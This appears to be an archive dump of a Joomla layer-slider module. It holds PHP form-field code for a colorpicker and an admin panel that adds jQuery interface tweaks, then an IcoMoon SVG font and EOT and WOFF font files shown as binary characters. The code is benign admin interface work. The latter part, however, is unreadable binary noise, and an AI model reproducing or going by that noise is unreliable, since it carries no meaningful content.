				<input type="text" name="'.$this->name.'" id="'.$this->id.'" class="'.$class.' input-medium" placeholder="'.$transparent.'" value="" data-color-format="rgba" disabled />
				<span class="add-on"><span class="transparent"></span><i class="disable" '.$transparent_background.'></i></span>	
			</div>
			<span class="helpcolor '.$this->id.'" data-toggle="popover" data-placement="right" data-content="<b>'.$fieldID.'</b><br>Use Colorpicker to select color with alpha transparency (RBGA format) for <b>'.ucfirst(strtolower(trim($fieldID))).'</b>"> <img style="margin:0 0 0 3px;" src="'.JURI::root(true).'/modules/'.$moduleName.'/admin/colorpicker/img/color-picker-16x16.png" /></span>
			';
		} else {
    		return '
			<div class="input-append color  '.$class.'" data-color="'.$value.'" data-color-format="rgba" id="'.$this->id.'">
			   <input type="text" name="'.$this->name.'" id="'.$this->id.'" class="'.$class.' input-medium" placeholder="transparent" value="'.$value.'" data-color-format="rgba" />
			   <span id="'.$this->id.'-info" class="add-on hasTooltip" title="<strong>'.$fieldID.'</strong><br>with alpha transparency (RGBA)"><span class="transparent"></span><i '.$background.'></i></span>
			</div>
			';
		}
	}

}
PK!���oo(mod_ap_smart_layerslider/admin/apmod.phpnu&1i�<?php
/**
 * @package 	apmod.php
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2018 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;
 
jimport('joomla.form.formfield');

	$doc = JFactory::getDocument();
	$moduleName = basename(dirname(__DIR__));
	$doc->addStylesheet(JURI::root(true).'/modules/'.$moduleName.'/admin/css/admin_style.css');
	$doc->addStylesheet('//netdna.bootstrapcdn.com/font-awesome/latest/css/font-awesome.min.css');
	JHTML::script('modules/'.$moduleName.'/admin/js/apoptions.js');
	
	// Clone form-inline-header to another position
	$jsclone = 'jQuery(document).ready(function(){'
        . 'var cloneContent = jQuery(".form-inline.form-inline-header").clone().addClass("visible");'
        . 'jQuery(".form-inline.form-inline-header,#myTabTabs li:has([href$=\"description\"])").remove();'
        . 'jQuery("#general").prepend(cloneContent);'
        . '});'; 
	$doc->addScriptDeclaration($jsclone);

// The class name must always be the same as the filename (in camel case)
class JFormFieldApmod extends JFormField {
        //The field class must know its own type through the variable $type.
        protected $type = 'Apmod';
		
        public function getInput() {
			
		$this->moduleName = basename(dirname(__DIR__));
		?>
		<script type="text/javascript">

			jQuery(document).ready(function(){
				// hides .apinstall (.apintro only showing on installation)
				jQuery("div.apinstall").remove();
				jQuery("p").filter(jQuery(".readmore")).parent("div").remove();
				
				jQuery("#general .form-inline.form-inline-header").hide().fadeIn(400);
				jQuery(".intro").hide().fadeIn(700);
				jQuery('#myTabTabs li').on('show', function () {
				  jQuery("#myTabContent").hide().fadeIn(250);
				});
				
				jQuery('#myTabTabs li a[href="#general"]').prepend("<i class='fa fa-codepen'></i>");
				jQuery('#myTabTabs li a[href$="assignment"]').prepend("<i class='fa fa-list-ul'></i>");
				jQuery('#myTabTabs li a[href$="permissions"]').prepend("<i class='fa fa-user'></i>");
				jQuery('#myTabTabs li a[href$="source"]').prepend("<i class='fa fa-folder-open'></i>");	
				jQuery('#myTabTabs li a[href$="slider_settings"]').prepend("<i class='icomoon-image'></i>");
				jQuery('#myTabTabs li a[href$="advanced"]').prepend("<i class='fa fa-code'></i>");	
				jQuery('#myTabTabs').append("<div class='copyright'><a href='http://www.aplikko.com' target='_blank'><img src='<?php echo JURI::root(true).'/modules/'.$this->moduleName.'/admin/images/logo_backend_gray.png'; ?>' /><br/>Developed by Aplikko</div>");
				jQuery('body').append('<a href=\"#top\" id=\"scroll-top\"><i class=\"fa fa-chevron-up\"></i></a>');
			});	
			
		    jQuery(document).ready(function(){
				var cloneContent = jQuery('#general .row-fluid .span9 h3, #general .row-fluid .span9 .info-labels').clone();
				jQuery('#general > .row-fluid > .span9 > h2, #general .row-fluid .span9 .info-labels, #general .row-fluid .span9 hr').remove();
				jQuery('#general .form-inline-header .control-group .control-label').removeClass('span3');
				jQuery('#general .form-inline-header .control-group .controls').removeClass('span9');
				jQuery("#general .form-inline.form-inline-header .control-group .controls").append(cloneContent);
				
				// Spacer
				jQuery("div.control-group:has([class='spacer']) .control-label").removeClass("aplabel").css({"width":"100%","padding":"0","background":"transparent"});
				// control-label + controls
				jQuery("div.control-group .control-label").addClass("aplabel");
				jQuery("div.control-group .controls").addClass("apcontrols");
				jQuery("label[for='jform_title']").parent().css({"background":"transparent"});

				jQuery('div.control-group:has([id="path_folder_images"]) .controls').css({"width":"100%","margin":"0 auto","padding":"0"});
				
			/*------------- Scroll to Top ------------------*/
			jQuery(window).scroll(function(){if(!jQuery('body').hasClass('whatever')){if(jQuery(this).scrollTop()>600){jQuery('a#scroll-top').addClass('open')}else{jQuery('a#scroll-top').removeClass('open')}}else{jQuery('a#scroll-top').removeClass('open')}});jQuery('a#scroll-top').on('click',function(){if(!jQuery('body').hasClass('whatever')){jQuery('html, body').animate({scrollTop:0},600);return false}})
			
			// activate popover (responsive)
				var options = {
					placement: function (context, source) {
						var position = jQuery(source).position();
						if (position.left < 400) {return "left";}
						if (position.left <= 650) {return "top";}
						if (position.left > 650) {return "right";}	
					},html: 'true'
				};
				jQuery(".add-on").popover(options);
				jQuery(".info-labels .label, label[for='jform_title']").tooltip();
				
				// hides <field type="apmod" />
				jQuery("div.control-group:has([class='hidden'])").remove();
			});	
		</script>
		<?php		
	}
	
	
}PK!&*��9�98mod_ap_smart_layerslider/admin/fonts/icomoon/icomoon.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="icomoon" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512" d="" />
<glyph unicode="&#xe600;" glyph-name="e600" d="M896 704v128h-896v-704c0-35.346 28.654-64 64-64h864c53.022 0 96 42.978 96 96v544h-128zM832 128h-768v640h768v-640zM128 640h640v-64h-640zM512 512h256v-64h-256zM512 384h256v-64h-256zM512 256h192v-64h-192zM128 512h320v-320h-320z" />
<glyph unicode="&#xe601;" glyph-name="e601" d="M1024 384v384h-192v64c0 35.2-28.8 64-64 64h-704c-35.2 0-64-28.8-64-64v-192c0-35.2 28.8-64 64-64h704c35.2 0 64 28.8 64 64v64h128v-256h-576v-128h-32c-17.674 0-32-14.326-32-32v-320c0-17.674 14.326-32 32-32h128c17.674 0 32 14.326 32 32v320c0 17.674-14.326 32-32 32h-32v64h576zM768 768h-704v64h704v-64z" />
<glyph unicode="&#xe602;" glyph-name="e602" d="M1024 640l-512 256-512-256 512-256 512 256zM512 811.030l342.058-171.030-342.058-171.030-342.058 171.030 342.058 171.030zM921.444 499.278l102.556-51.278-512-256-512 256 102.556 51.278 409.444-204.722zM921.444 307.278l102.556-51.278-512-256-512 256 102.556 51.278 409.444-204.722z" />
<glyph unicode="&#xe603;" glyph-name="e603" d="M888.422 739.072c-158.924 105.678-337.356 142.182-548.966 81.562-165.17-47.36-316.57-235.212-328.294-396.084-13.876-190.208 134.298-353.076 395.162-352.818 281.292 0.308 386.56 135.374 388.916 176.384 2.304 41.062-109.774 116.942-37.632 194.97 90.368 97.74 170.802 14.438 219.546 26.214 48.742 11.674 73.422 161.842-88.73 269.774zM562.074 261.99c-42.548 0-77.056 34.406-77.056 76.8 0 42.446 34.508 76.8 77.056 76.8s77.004-34.356 77.004-76.8c-0.052-42.394-34.458-76.8-77.004-76.8z" />
<glyph unicode="&#xe604;" glyph-name="e604" d="M564.992 410.572c-15.77 9.164-37.632 9.164-55.45 9.164h-58.418v-120.422h53.658c19.866 0 45.158-1.382 62.258 10.598 15.77 10.598 24.626 31.334 24.626 51.098 0 18.38-10.956 40.346-26.674 49.562zM542.924 513.332c13.004 9.882 19.814 27.596 19.814 43.826 0 17.664-8.192 34.61-23.194 43.776-15.77 9.166-44.492 7.066-62.976 7.066h-25.446v-105.984h33.638c19.2 0.050 41.78-1.382 58.162 11.314zM830.72 952.32h-637.49c-95.386 0-172.748-77.364-172.748-172.8v-637.39c0-95.438 77.362-172.8 172.748-172.8h637.44c95.438 0 172.8 77.364 172.8 172.8v637.39c0.052 95.436-77.312 172.8-172.75 172.8zM538.674 209.562h-200.806v484.71h219.392c63.538 0 122.214-40.448 122.214-111.82 0-55.092-30.77-92.826-69.99-104.602v-1.382c58.214-11.98 99.738-43.622 99.738-119.86 0-70.554-48.076-147.046-170.548-147.046z" />
<glyph unicode="&#xe605;" glyph-name="e605" d="M1024 369.556l-512 397.426-512-397.428v162.038l512 397.426 512-397.428zM896 384v-384h-256v256h-256v-256h-256v384l384 288z" />
<glyph unicode="&#xe606;" glyph-name="e606" d="M0 832v-832h1024v832h-1024zM960 64h-896v704h896v-704zM704 608c0 53.020 42.98 96 96 96s96-42.98 96-96c0-53.020-42.98-96-96-96s-96 42.98-96 96zM896 128h-768l192 512 256-320 128 96z" />
<glyph unicode="&#xe607;" glyph-name="e607" d="M953.396 885.358l-4.028 4.042c-94.148 94.134-248.194 94.134-342.326 0l-218.106-218.136c-94.134-94.132-94.134-248.176 0-342.31l4.026-4.026c7.832-7.848 16.146-14.924 24.736-21.458l79.848 79.85c-9.302 5.494-18.126 12.072-26.116 20.060l-4.042 4.042c-51.114 51.098-51.114 134.272 0 185.39l218.128 218.112c51.116 51.118 134.274 51.118 185.386 0l4.042-4.024c51.1-51.116 51.1-134.292 0-185.39l-98.686-98.686c17.132-42.308 25.248-87.4 24.538-132.386l152.604 152.604c94.134 94.136 94.134 248.178-0.004 342.316zM631.042 571.066c-7.832 7.832-16.146 14.922-24.736 21.44l-79.848-79.832c9.304-5.496 18.126-12.074 26.116-20.062l4.042-4.040c51.116-51.116 51.116-134.272 0-185.388l-218.13-218.134c-51.118-51.102-134.276-51.102-185.388 0l-4.042 4.042c-51.098 51.12-51.098 134.276 0 185.388l98.688 98.686c-17.134 42.306-25.246 87.402-24.538 132.386l-152.602-152.598c-94.136-94.132-94.136-248.178 0-342.324l4.026-4.032c94.152-94.128 248.192-94.128 342.328 0l218.11 218.118c94.134 94.132 94.134 248.194 0 342.326l-4.026 4.024z" />
<glyph unicode="&#xe608;" glyph-name="e608" d="M348.16 460.8c0-90.47 73.37-163.84 163.84-163.84s163.84 73.422 163.84 163.84c0 90.47-73.37 163.84-163.84 163.84s-163.84-73.37-163.84-163.84zM231.884 522.24c28.108 128.818 142.848 225.28 280.116 225.28 79.206 0 150.836-32.102 202.702-83.968 24.014-24.014 62.924-24.014 86.938 0 23.962 24.014 23.962 62.926 0 86.886-74.138 74.086-176.538 119.962-289.638 119.962-183.398 0-338.638-120.524-390.81-286.72h-121.19v-122.88h163.84c51.15 0 63.694 41.626 68.044 61.44zM860.16 460.8c-51.098 0-63.692-41.626-68.044-61.44-28.11-128.818-142.798-225.28-280.116-225.28-79.154 0-150.836 32.052-202.702 83.968-24.012 24.014-62.926 24.014-86.886 0s-24.014-62.924 0-86.886c74.086-74.086 176.486-119.962 289.586-119.962 183.398 0 338.636 120.524 390.81 286.72h121.19v122.88h-163.84z" />
<glyph unicode="&#xe609;" glyph-name="e609" d="M160.462 620.032c47.82 37.12 87.45 11.572 140.338-49.664 5.99-6.86 13.978 1.178 18.484 5.12 4.506 3.994 74.342 66.764 77.722 69.682 3.43 3.020 7.526 8.654 2.098 14.95s-25.294 32-38.042 48.64c-92.57 121.088 253.236 203.214 200.090 204.494-26.982 0.716-135.476 1.946-151.654 0.256-65.69-6.962-148.174-68.352-189.696-96.922-54.272-37.324-74.598-58.982-77.926-62.002-15.36-13.466-2.458-44.39-30.31-68.812-29.44-25.804-47.77-6.298-64.82-21.248-8.5-7.476-32.102-25.14-38.912-31.13-6.758-5.938-7.988-16.026-1.076-24.116 0 0 64.666-71.474 70.144-77.772 5.428-6.298 20.018-11.622 29.082-3.634 9.062 7.936 32.308 28.366 36.25 31.846 3.994 3.43-2.56 44.186 18.228 60.314zM452.762 593.614c-6.144 7.116-13.722 7.27-20.326 1.434l-73.472-64.050c-5.734-5.12-6.502-14.542-1.332-20.48l424.654-483.226c9.882-11.47 27.086-12.646 38.502-2.714l49.716 41.574c11.316 9.932 12.494 27.342 2.61 38.758l-420.352 488.704zM1018.982 799.284c-3.788 25.294-16.896 19.968-23.706 9.216-6.706-10.702-36.914-56.372-49.306-77.004-12.288-20.582-42.496-60.978-99.020-21.094-58.778 41.574-38.298 70.606-28.11 90.112 10.292 19.61 41.882 74.496 46.49 81.408 4.506 6.912-0.818 26.982-18.996 18.586-18.278-8.448-129.178-52.53-144.59-115.712-15.718-64.358 13.21-121.806-43.52-178.894l-68.71-71.68 69.018-80.282 84.684 80.436c20.224 20.274 63.284 39.988 102.298 31.13 83.61-18.944 129.178 12.494 156.722 64.358 24.678 46.438 20.582 144.128 16.742 169.42zM140.288 99.788c-10.65-10.752-10.65-28.16 0-38.86l48.692-47.616c10.65-10.702 27.546-6.196 38.194 4.506l251.238 247.040-77.004 87.706-261.12-252.774z" />
<glyph unicode="&#xe60a;" glyph-name="e60A" d="M416.154 266.138c-35.328-61.236-11.572-111.616 37.428-139.878s104.55-23.756 139.878 37.478c35.328 61.184 258.406 607.54 239.002 618.752-19.354 11.212-380.978-455.118-416.308-516.352zM512 655.258c22.426 0 44.288-1.946 65.586-5.53 22.426 28.058 47.566 58.982 71.986 88.422-43.622 12.646-89.65 19.506-137.574 19.506-287.078 0-512-242.074-512-551.116 0-19.046 0.87-38.042 2.508-56.576 2.508-28.16 27.648-48.896 55.552-46.438 28.16 2.56 48.948 27.392 46.438 55.552-1.382 15.514-2.1 31.488-2.1 47.462 0 251.598 179.968 448.716 409.6 448.716zM881.614 591.308c-14.284-38.4-29.39-77.516-42.702-111.36 52.070-75.264 82.688-169.626 82.688-273.408 0-16.23-0.716-32.562-2.15-48.384-2.56-28.16 18.176-53.044 46.336-55.654 1.586-0.154 3.124-0.206 4.71-0.206 26.164 0 48.486 20.020 50.894 46.542 1.74 18.944 2.612 38.35 2.612 57.702 0 151.092-53.862 286.158-142.386 384.768z" />
<glyph unicode="&#xe60b;" glyph-name="e60B" d="M141.466 278.426c-77.516-76.186-12.032-154.418-115.046-270.386-46.49-52.326 191.386-36.352 309.248 79.514 49.972 49.1 35.892 120.73-17.714 173.466-53.606 52.684-126.514 66.51-176.486 17.408zM1000.5 939.11c-39.782 39.066-480.204-313.856-611.328-442.726-65.074-63.95-86.784-98.254-106.752-123.904-8.654-11.162 2.816-14.592 7.936-17.254 25.754-13.106 43.776-25.294 67.122-48.23 23.346-22.886 35.788-40.602 49.1-65.946 2.662-5.068 6.194-16.332 17.51-7.782 26.112 19.61 60.978 40.96 126.002 104.908 131.122 128.87 490.086 561.818 450.406 600.934z" />
<glyph unicode="&#xe60c;" glyph-name="e60C" d="M35.328 392.602l69.786-17.306 52.532 82.534-99.84 24.73c-24.986 6.246-50.226-8.908-56.422-33.792-6.196-24.782 9.010-49.972 33.946-56.166zM946.226 379.29l-228.506-205.722-268.698 207.924c-5.12 3.994-11.008 6.81-17.306 8.398l-35.788 8.806-52.532-82.484 56.27-13.876 291.738-225.69c8.448-6.606 18.482-9.778 28.57-9.778 11.212 0 22.426 3.994 31.232 11.98l257.382 231.68c19.098 17.202 20.53 46.49 3.328 65.486-17.152 18.996-46.592 20.48-65.69 3.278zM444.62 605.134l250.214-160.206c21.094-13.466 49.152-7.884 63.438 12.646l257.434 370.79c14.592 21.094 9.318 49.92-11.826 64.512s-50.126 9.268-64.768-11.776l-231.834-333.926-251.75 161.178c-10.394 6.656-23.040 8.908-35.174 6.246s-22.63-9.984-29.236-20.428l-383.846-602.574c-13.824-21.606-7.374-50.176 14.336-63.898 7.732-4.914 16.384-7.22 24.934-7.22 15.412 0 30.464 7.578 39.322 21.504l358.758 563.15z" />
<glyph unicode="&#xe60d;" glyph-name="e60D" d="M459.060 860.262c-197.324-23.45-353.69-179.866-377.14-377.138h377.14v377.138zM566.938 859.494v-432.896c0-28.366-22.99-51.354-51.404-51.354h-432.896c27.698-211.712 208.538-375.194 427.726-375.194 238.388 0 431.718 193.23 431.718 431.718 0 219.188-163.482 400.026-375.142 427.726z" />
<glyph unicode="&#xe60e;" glyph-name="e60E" d="M505.702 931.788c-260.096-3.482-468.174-217.19-464.69-477.338 3.482-259.994 217.19-468.122 477.286-464.64s468.174 217.19 464.692 477.338c-3.43 260.044-217.19 468.122-477.286 464.64zM557.926 774.81c47.872 0 62.004-27.75 62.004-59.546 0-39.68-31.794-76.39-86.016-76.39-45.362 0-66.918 22.836-65.638 60.518 0 31.794 26.624 75.418 89.65 75.418zM435.15 166.4c-32.716 0-56.678 19.866-33.792 107.212l37.53 154.83c6.502 24.832 7.578 34.766 0 34.766-9.778 0-52.274-17.152-77.414-34.048l-16.332 26.778c79.616 66.458 171.162 105.472 210.38 105.472 32.716 0 38.144-38.708 21.812-98.254l-43.008-162.816c-7.578-28.774-4.302-38.706 3.278-38.706 9.778 0 41.984 11.878 73.626 36.762l18.482-24.832c-77.362-77.362-161.792-107.162-194.56-107.162z" />
<glyph unicode="&#xe60f;" glyph-name="e60F" d="M880.634 829.226c25.698-12.576 48.094-30.486 64.502-52.482 34.536-46.3 44.236-109.372 28.836-187.466-15.56-79.026-50.416-145.734-101.166-194.044-9.282-9.702-19.222-18.746-29.804-27.080-54.356-42.802-122.998-65.428-198.508-65.428h-240.060l-64.564-302.726h-132.424l10.086 46.3h46.128l64.564 302.726h188.27c180.25 0 330.938 111.078 371.258 299.936 45.722 213.834-107.598 311.038-239.41 311.038h-449.278l-199.064-913.7h152.032l-24.032-110.3h263.66l64.564 302.726h188.27c180.25 0 330.938 111.078 371.258 299.936 33.716 157.68-40.804 251.932-135.118 290.564zM422.344 773.918h129.132c64.592 0 107.602-55.538 88.786-124.956-16.136-69.44-83.386-124.976-150.64-124.976h-123.758l56.48 249.932z" />
<glyph unicode="&#xe610;" glyph-name="e610" d="M819.2 601.958h-30.72c-11.316 0-20.48-9.216-20.48-20.48v-141.158c0-68.454-53.914-184.32-256-184.32s-256 115.866-256 184.32v141.158c0 11.264-9.266 20.48-20.48 20.48h-30.72c-11.264 0-20.48-9.216-20.48-20.48v-141.158c0-114.534 84.174-237.056 276.48-253.952v-135.168h-133.17c-11.214 0-20.428-9.216-20.428-20.48v-61.44c0-11.264 9.216-20.48 20.428-20.48h368.64c11.316 0 20.48 9.216 20.48 20.48v61.44c0 11.316-9.216 20.48-20.48 20.48h-133.068v135.168c192.358 16.896 276.48 139.468 276.48 253.952v141.158c0 11.264-9.216 20.48-20.48 20.48zM512 358.4c120.166 0 153.6 49.356 153.6 81.92v161.638h-307.2v-161.638c0-32.562 33.434-81.92 153.6-81.92zM665.6 890.88c0 32.614-33.434 81.92-153.6 81.92s-153.6-49.306-153.6-81.92v-217.242h307.2v217.242z" />
<glyph unicode="&#xe611;" glyph-name="e611" d="M1024 448c-1.278 66.862-15.784 133.516-42.576 194.462-26.704 61-65.462 116.258-113.042 161.92-47.552 45.696-103.944 81.82-164.984 105.652-61.004 23.924-126.596 35.352-191.398 33.966-64.81-1.282-129.332-15.374-188.334-41.356-59.048-25.896-112.542-63.47-156.734-109.576-44.224-46.082-79.16-100.708-102.186-159.798-23.114-59.062-34.128-122.52-32.746-185.27 1.286-62.76 14.964-125.148 40.134-182.206 25.088-57.1 61.476-108.828 106.11-151.548 44.61-42.754 97.472-76.504 154.614-98.72 57.118-22.304 118.446-32.902 179.142-31.526 60.708 1.29 120.962 14.554 176.076 38.914 55.15 24.282 105.116 59.48 146.366 102.644 41.282 43.14 73.844 94.236 95.254 149.43 13.034 33.458 21.88 68.4 26.542 103.798 1.246-0.072 2.498-0.12 3.762-0.12 35.346 0 64 28.652 64 64 0 1.796-0.094 3.572-0.238 5.332h0.238zM922.306 278.052c-23.472-53.202-57.484-101.4-99.178-141.18-41.67-39.81-91-71.186-144.244-91.79-53.228-20.678-110.29-30.452-166.884-29.082-56.604 1.298-112.596 13.736-163.82 36.474-51.25 22.666-97.684 55.49-135.994 95.712-38.338 40.198-68.528 87.764-88.322 139.058-19.87 51.284-29.228 106.214-27.864 160.756 1.302 54.552 13.328 108.412 35.254 157.69 21.858 49.3 53.498 93.97 92.246 130.81 38.73 36.868 84.53 65.87 133.874 84.856 49.338 19.060 102.136 28.006 154.626 26.644 52.5-1.306 104.228-12.918 151.562-34.034 47.352-21.050 90.256-51.502 125.624-88.782 35.396-37.258 63.21-81.294 81.39-128.688 18.248-47.392 26.782-98.058 25.424-148.496h0.238c-0.144-1.76-0.238-3.536-0.238-5.332 0-33.012 24.992-60.174 57.086-63.624-6.224-34.822-16.53-68.818-30.78-100.992z" />
<glyph unicode="&#xe612;" glyph-name="e612" d="M512 960c-278.748 0-505.458-222.762-511.848-499.974 5.92 241.864 189.832 435.974 415.848 435.974 229.75 0 416-200.576 416-448 0-53.020 42.98-96 96-96s96 42.98 96 96c0 282.77-229.23 512-512 512zM512-64c278.748 0 505.458 222.762 511.848 499.974-5.92-241.864-189.832-435.974-415.848-435.974-229.75 0-416 200.576-416 448 0 53.020-42.98 96-96 96s-96-42.98-96-96c0-282.77 229.23-512 512-512z" />
<glyph unicode="&#xe613;" glyph-name="e613" d="M1024 576h-384l143.53 143.53c-72.53 72.526-168.96 112.47-271.53 112.47s-199-39.944-271.53-112.47c-72.526-72.53-112.47-168.96-112.47-271.53s39.944-199 112.47-271.53c72.53-72.526 168.96-112.47 271.53-112.47s199 39.944 271.528 112.472c6.056 6.054 11.86 12.292 17.456 18.668l96.32-84.282c-93.846-107.166-231.664-174.858-385.304-174.858-282.77 0-512 229.23-512 512s229.23 512 512 512c141.386 0 269.368-57.326 362.016-149.984l149.984 149.984v-384z" />
<glyph unicode="&#xe614;" glyph-name="e614" d="M819.2 921.6h-614.4c-56.32 0-102.4-46.080-102.4-102.4v-716.8c0-56.32 46.080-102.4 102.4-102.4h614.4c56.37 0 102.4 46.080 102.4 102.4v716.8c0 56.32-46.028 102.4-102.4 102.4zM819.2 102.4h-614.4v716.8h614.4v-716.8zM563.2 358.4h-256v-51.2h256v51.2zM716.8 563.2h-204.8v-51.2h204.8v51.2zM512 614.4h204.8v102.4h-204.8v-102.4zM460.8 716.8h-153.6v-204.8h153.6v204.8zM409.6 460.8h-102.4v-51.2h102.4v51.2zM460.8 409.6h256v51.2h-256v-51.2zM716.8 256h-409.6v-51.2h409.6v51.2zM614.4 307.2h102.4v51.2h-102.4v-51.2z" />
</font></defs></svg>PK!#�`tt8mod_ap_smart_layerslider/admin/fonts/icomoon/icomoon.eotnu&1i�t��LPݥ�icomoonRegularVersion 1.0icomoon�0OS/2'�`cmapV̛Tgasppglyf9�x�head+Vn6hhea��L$hmtxZpdloca(�-�4maxp${ name�J	�(�post� ��������3	@����@�@ 8
 ����� ���������797979@@#5!3!265!!!!!!!!3#!!���%`(8���@����������@�����@%8( ����@@@@@@@@�����)-#54&#!"3!26=3!#";2654&+5!5!�&�@&&�&��� 

�

 @�@���@&&�&&@��
��

@
@�@�
	
%	7%	7��V�����g��g��g��g���������3�3�3�3�H�P)5&'.327>7676&767676&'&'"&54632x;@?�JIP=:9ZfLKbjIJ]]6Ct$=�� --  --�(*)n>?<H@@a;j:I8	N..(�#-  --  -����0A.+3267>54&''>54&'&"+3267!"3!2656&##32#5
;6"



&
"  ��GffG~GefG����0J(,8N\�y	f
j	�eG��GffG~Ge��:6)6		595^�	5	!!!�������r��s���s����� @!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`����/`'&'&"7./&4?6276764'&.'"/&4?.5276?6764'&/�#-,]--#�##P&&�&m&&&c
�$��P&&�&m&&&c
�$$#-,]--#�##u$$�#-,]--#P
'l'�&&&m&c C"�#--],-��P
'l'�&&&m&c C"�#--],-#$$�#-,]--#3f1V32654&#"'67>76322764'&'.'&#"#3267"#"&'&"327>76735#\`DD``DD`t
J./3;i'3!!I()*E>>g&%y�&t&
J./3;i'3!!I()*E>>g&%y��D``DD``D=1))<.&2M45>{.=/0))=-'3	L55>{
��7Hmx667>7>'.'&7>76#.&07>7647&"?>'%&'&67>76&7>67>'6?'�$A(G
##"g)*w
1m)#
B%I�	2�\6#		0*,#	
x+DET:>J��1�M��l .A
-&%6F (
I.@�)	��	5$ ,>>/0X+HPP('#s�E0�X�f8U6767>76'&2>7.#"7>'.547>76323267>54'.'&'�%$M)*W ==�@@
`!%!E$l]^�'(!  nKKVr
',

$!
.I
.bb�YXHG�UU�-

++�ees!^RRy#"@:8�M
!865a,+%����167676&'.&7>767>76'�:Ng<<-%((c&[OO�``11+
911RR�229~W,$a((%�12�QP108

*01^^�NM�}	 ?7'&%./3267%>'.%676&'&'.3267#F5d!���	$59#

&��%
&�		��

g�S!��	S��'
�
r&�����%

3R�\#!#!327>7654'.'&'�JAAd  	yl�O
%&rIIRZNOu""eDEO\	  dAAJx�POEDe""uONZRIIr&%
)����)F767>76'&'.'&2#"&7463"&?>#"'>323267#�bUU#$&'�VWabUU#$&'�VWa4$-)"!+/{&4<y

+*:p�&&�WVbaUV~$#&&�VWabUU~$$�$/ 4��*B�
275-�:2����8A+#73327>7676'.'&#!3!327>7676'.'&32+q!3&)e9�@�.@�D==b"#I222�?ǘ@�D==b"#'��16X2|=	#^;;c$ !��./M78GP;:M�nn/M88G;/0H)I44I���H�AJT#"#"'.'&=4&+"#"3!26=4&+567>76=4&#26=!4&#"!53:21LL12:	C45H�		p		�H54C	��Z@��@�@ZZ@4Z	�  99  �		�+*+G�>>�G+*+�	�:��:::�� ���:r.'.'.'.7>7>7>7>7:3265<51'.'.'.'.7>7>7>7>19$#T.-a11_,-O!!46!"N++Z..Y))K1	%f3I((U**S'&E,.C%%O''M$#@)

!�2c-.R"#57#"Q-,^//\++M  24! L)4%�(G.1G&'Q))P%%B+
-A$#K&$3���!C"67>763232654'.'&27>767#"'.'&54&#"i\\�))"!qKJUVLLq !8((8((�^]ji\\�))"!qKJUVLLq !8((8((�^]�''�[[h[OPv""##zRQ](88(j]^�((�''�[[h[OPv""##zRQ](88(j]^�((���5!7.#"3267>7#"'.'&547>76327���7�MM�76::67�MM�7	`#++b66:j]^�((((�^]j522\))#�@�6::67�MM�76::6	T(! -
((�^]jj]^�((
'#�
f�� %).26!"3!2654&!!!!#3'35#'#35#33!5!!!'35#3��*==*f*==*��f��������3��3gg3��f�ggg�=*�3*<<*�*=���333fggg��333�3f3���_<�׆�׆�������R)� f
^��,���x��@�B��:��Ny
�`6uK
�		g	=	|	 	R	
4�icomoonicomoonVersion 1.0Version 1.0icomoonicomoonicomoonicomoonRegularRegularicomoonicomoonFont generated by IcoMoon.Font generated by IcoMoon.PK!*Y�9mod_ap_smart_layerslider/admin/fonts/icomoon/icomoon.woffnu&1i�wOFF�OS/2``'cmaphTTV̛gasp�glyf���9�head`66+Vnhhea�$$��hmtx�ddZloca 44(�-maxpT  ${namet���J	�post�  ��������3	@����@�@ 8
 ����� ���������797979@@#5!3!265!!!!!!!!3#!!���%`(8���@����������@�����@%8( ����@@@@@@@@�����)-#54&#!"3!26=3!#";2654&+5!5!�&�@&&�&��� 

�

 @�@���@&&�&&@��
��

@
@�@�
	
%	7%	7��V�����g��g��g��g���������3�3�3�3�H�P)5&'.327>7676&767676&'&'"&54632x;@?�JIP=:9ZfLKbjIJ]]6Ct$=�� --  --�(*)n>?<H@@a;j:I8	N..(�#-  --  -����0A.+3267>54&''>54&'&"+3267!"3!2656&##32#5
;6"



&
"  ��GffG~GefG����0J(,8N\�y	f
j	�eG��GffG~Ge��:6)6		595^�	5	!!!�������r��s���s����� @!!!4632#"&!7@����8((88((8����@��@���(88((88�H��`����/`'&'&"7./&4?6276764'&.'"/&4?.5276?6764'&/�#-,]--#�##P&&�&m&&&c
�$��P&&�&m&&&c
�$$#-,]--#�##u$$�#-,]--#P
'l'�&&&m&c C"�#--],-��P
'l'�&&&m&c C"�#--],-#$$�#-,]--#3f1V32654&#"'67>76322764'&'.'&#"#3267"#"&'&"327>76735#\`DD``DD`t
J./3;i'3!!I()*E>>g&%y�&t&
J./3;i'3!!I()*E>>g&%y��D``DD``D=1))<.&2M45>{.=/0))=-'3	L55>{
��7Hmx667>7>'.'&7>76#.&07>7647&"?>'%&'&67>76&7>67>'6?'�$A(G
##"g)*w
1m)#
B%I�	2�\6#		0*,#	
x+DET:>J��1�M��l .A
-&%6F (
I.@�)	��	5$ ,>>/0X+HPP('#s�E0�X�f8U6767>76'&2>7.#"7>'.547>76323267>54'.'&'�%$M)*W ==�@@
`!%!E$l]^�'(!  nKKVr
',

$!
.I
.bb�YXHG�UU�-

++�ees!^RRy#"@:8�M
!865a,+%����167676&'.&7>767>76'�:Ng<<-%((c&[OO�``11+
911RR�229~W,$a((%�12�QP108

*01^^�NM�}	 ?7'&%./3267%>'.%676&'&'.3267#F5d!���	$59#

&��%
&�		��

g�S!��	S��'
�
r&�����%

3R�\#!#!327>7654'.'&'�JAAd  	yl�O
%&rIIRZNOu""eDEO\	  dAAJx�POEDe""uONZRIIr&%
)����)F767>76'&'.'&2#"&7463"&?>#"'>323267#�bUU#$&'�VWabUU#$&'�VWa4$-)"!+/{&4<y

+*:p�&&�WVbaUV~$#&&�VWabUU~$$�$/ 4��*B�
